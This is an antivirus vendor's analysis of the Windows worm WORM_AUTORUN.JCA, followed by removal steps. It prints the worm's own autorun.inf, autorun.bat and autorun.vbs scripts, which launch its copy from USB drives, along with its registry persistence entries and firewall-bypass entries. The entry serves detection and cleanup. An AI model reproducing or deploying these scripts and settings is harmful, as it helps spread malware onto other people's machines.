WORM_AUTORUN.JCA

 Analysis by: Roland Marco Dela Paz

 PLATFORM:

Windows 2000, XP, Server 2003

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:

  • Threat Type: Worm

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW

This worm drops an AUTORUN.INF file to automatically execute the copies it drops when a user accesses the drives of an affected system.

It attempts to access certain websites.

  TECHNICAL DETAILS

File Size:

290,304 bytes

File Type:

EXE

Memory Resident:

Yes

Initial Samples Received Date:

28 Sep 2010

Autostart Technique

This worm adds the following registry entries to enable its automatic execution at every system startup:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
Intel Physical Routine 1.2A = %WINDOWS%\stnetlib.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Active Setup\Installed Components\Intel Physical Routine 1.2A
StubPath = %WINDOWS%\stnetlib.exe

It drops the following files:

  • %Windows%\stnetlib.exe - copy of itself
  • %Windows%\http.dll - also detected as WORM_AUTORUN.JCA
  • %Windows%\switch.inf - non-malicious component

(Note: %Windows% is the Windows folder, which is usually C:\Windows or C:\WINNT.)

Other System Modifications

This worm adds the following registry entries as part of its installation routine:

HKEY_CURRENT_USER\Software\Microsoft\
xMyDate
Query = {malware installation status}

HKEY_CURRENT_USER\Software\Microsoft\
xMyDate
Date = {date installed on the affected system}

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion
Intel Physical Routine 1.2A = {garbage codes}

It modifies the following registry entries to hide files with Hidden attributes:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Explorer\
Advanced
Hidden = 2

(Note: The default value data of the said registry entry is 1.)

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Explorer\
Advanced\Folder\Hidden\
SHOWALL
CheckedValue = 0

(Note: The default value data of the said registry entry is 1.)

It creates the following registry entry(ies) to bypass Windows Firewall:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\SharedAccess\Parameters\
FirewallPolicy\StandardProfile\GloballyOpenPorts\
List
1533:TCP = 1533:TCP:*:Enabled:BND

Propagation

This worm drops the following copy(ies) of itself in all removable drives:

  • %DRIVE%\stnetlib.exe

It drops an AUTORUN.INF file to automatically execute the copies it drops when a user accesses the drives of an affected system.

The said .INF file contains the following strings:

[AutoRun]
open=autorun.bat
shellexecute=autorun.bat
shell\Auto\command=autorun.bat
shell\explore\Command=autorun.bat
shell=auto
Action=USB Drive
Label=USB Drive
UseAutoPlay=0[AutoRun]
open=autorun.bat
shellexecute=autorun.bat
shell\Auto\command=autorun.bat
shell\explore\Command=autorun.bat
shell=auto
Action=USB Drive
Label=USB Drive
UseAutoPlay=0[AutoRun]
open=autorun.bat
shellexecute=autorun.bat
shell\Auto\command=autorun.bat
shell\explore\Command=autorun.bat
shell=auto
Action=USB Drive
Label=USB Drive
UseAutoPlay=0

Other Details

Based on analysis of the codes, it has the following capabilities:

  • It also drops an Autorun.bat and Autorun.vbs file to automatically execute the copies it drops when a user accesses the drives of an affected system.
  • Autorun.inf will first execute Autorun.bat where this batch file in turn executes Autorun.vbs. Autorun.vbs will then execute the dropped copy of the worm.

It attempts to access certain websites.

It contains the following strings in its code:

  • Autorun.bat contains:
  • @echo off
  • @title Please wait, Verifying contents...
  • explorer %~d0
  • %~d0\autorun.vbs
  • @cls
  • @exit@echo off
  • @title Please wait, Verifying contents...
  • explorer %~d0
  • %~d0\autorun.vbs
  • @cls
  • @exit
  • Autorun.vbs contains:
  • Set objFSO = CreateObject("Scripting.FileSystemObject")
  • If objFSO.FileExists("G:\stnetlib.exe") Then
  • set WshShell = CreateObject("WScript.Shell")
  • WshShell.Run "G:\stnetlib.exe"
  • End If
  • WSCript.QuitSet objFSO = CreateObject("Scripting.FileSystemObject")
  • If objFSO.FileExists("G:\stnetlib.exe") Then
  • set WshShell = CreateObject("WScript.Shell")
  • WshShell.Run "G:\stnetlib.exe"
  • End If
  • WSCript.QuitSet objFSO = CreateObject("Scripting.FileSystemObject")
  • If objFSO.FileExists("G:\stnetlib.exe") Then
  • set WshShell = CreateObject("WScript.Shell")
  • WshShell.Run "G:\stnetlib.exe"
  • End If
  • WSCript.Quit

It does the following:

  • It overwrites %system%\drivers\etc\hosts and saves the original host file as %system%\drivers\etc\hosts.sam.
  • It opens a hidden instance of iexplore.exe where it injects its dropped component, %windows%\http.dll.
  • It connects to possible malicious sites to send and receive information and to download possibly malicious files.

  SOLUTION

Minimum Scan Engine:

8.900

Step 1

For Windows XP and Windows Server 2003 users, before doing any scans, please make sure you disable System Restore to allow full scanning of your computer.

Step 2

Restart in Safe Mode

[ Learn More ]

Step 3

Search and delete this file

[ Learn More ]
There may be some component files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the More advanced options option to include all hidden files and folders in the search result.
  • %windows%\switch.inf

Step 4

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion
    • Intel Physical Routine 1.2A = {garbage}
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • Intel Physical Routine 1.2A = %WINDOWS%\stnetlib.exe
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List
    • 1533:TCP = 1533:TCP:*:Enabled:BND

Step 5

Restore this modified registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
    • From: Hidden = 2
      To: Hidden = 1
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL
    • From: CheckedValue = 0
      To: CheckedValue = 1

Step 6

Delete this registry key

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\Software\Microsoft\
    • xMyDate
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\
    • Intel Physical Routine 1.2A

Step 7

Search and delete AUTORUN.INF files created by WORM_AUTORUN.JCA that contain these strings

[ Learn More ]
1. autorun.inf

**contents**
[autorun]
open=autorun.bat
shellexecute=autorun.bat
shell\Auto\command=autorun.bat
shell\explore\Command=autorun.bat
shell=auto
Action=USB Drive
Label=USB Drive
UseAutoPlay=0[AutoRun]
open=autorun.bat
shellexecute=autorun.bat
shell\Auto\command=autorun.bat
shell\explore\Command=autorun.bat
shell=auto
Action=USB Drive
Label=USB Drive
UseAutoPlay=0[AutoRun]
open=autorun.bat
shellexecute=autorun.bat
shell\Auto\command=autorun.bat
shell\explore\Command=autorun.bat
shell=auto
Action=USB Drive
Label=USB Drive
UseAutoPlay=0
****

2. autorun.bat

**contents**
@echo off
@title Please wait, Verifying contents...
explorer %~d0
%~d0\autorun.vbs
@cls
@exit@echo off
@title Please wait, Verifying contents...
explorer %~d0
%~d0\autorun.vbs
@cls
@exit
****

3. autorun.vbs

**contents**
Set objFSO = CreateObject(Scripting.FileSystemObject)
If objFSO.FileExists(G:\stnetlib.exe) Then
set WshShell = CreateObject(WScript.Shell)
WshShell.Run G:\stnetlib.exe
End If
WSCript.QuitSet objFSO = CreateObject(Scripting.FileSystemObject)
If objFSO.FileExists(G:\stnetlib.exe) Then
set WshShell = CreateObject(WScript.Shell)
WshShell.Run G:\stnetlib.exe
End If
WSCript.QuitSet objFSO = CreateObject(Scripting.FileSystemObject)
If objFSO.FileExists(G:\stnetlib.exe) Then
set WshShell = CreateObject(WScript.Shell)
WshShell.Run G:\stnetlib.exe
End If
WSCript.Quit
****

Step 8

Scan your computer with your Trend Micro product to delete files detected as WORM_AUTORUN.JCA. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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